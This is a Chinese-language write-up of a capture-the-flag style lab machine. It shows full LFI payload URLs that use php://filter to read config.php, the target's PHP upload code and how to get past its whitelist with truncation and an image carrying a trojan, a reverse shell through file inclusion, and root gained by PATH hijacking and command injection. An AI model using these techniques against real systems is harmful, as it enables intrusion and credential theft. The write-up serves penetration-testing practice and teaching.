找到目标IP 192.168.11.131
扫描端口
开放80端口 apache中间件版本暂无可用exp
3306mysql数据库
111 rdp远程桌面
先扫一下80的目录
看到config.php
然后可能存在注入 使用sqlmap无结果放弃注入
查看URL
可能存在文件包含
http://192.168.11.131/index.php?page=php://filter/convert.base64-encode/resource=config.php
此文件包含不用填写后缀名
http://192.168.11.131/index.php?page=php://filter/convert.base64-encode/resource=config
base64解码出config.php的源码
以至于找到另一个文件读取和执行的漏洞
远程连接数据库
同样的base64解码
思路来了:
登录网页 上传木马获取webshell--》提权
先看看upload的源码怎么写的
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
以上代码对文件的后缀进行白名单过滤,对文件格式类型也是进行白名单,对文件重命名。
1.使用截断
2.在图片中插入木马
使用文件执行的漏洞获取反弹shell
开始提权
我的shell不知是什么原因开始双写,不影响操作
使用数据库的密码进行登录尝试
我使用kane登录,在home下看见msgmike的程序执行后发现找不到文件
strings查看程序内部
有一个查看/home/mike/msg.txt的操作但是没有文件所以会有报错
在tmp目录下创建一个cat文件内容是/bin/bash 修改环境变量后让msgmike执行bash -i获得mike的权限
返回kane目录
到mike目录下
可能存在命令注入
来尝试一下
开始获取root权限
看起来是不让cat查看 重新获取root使用head查看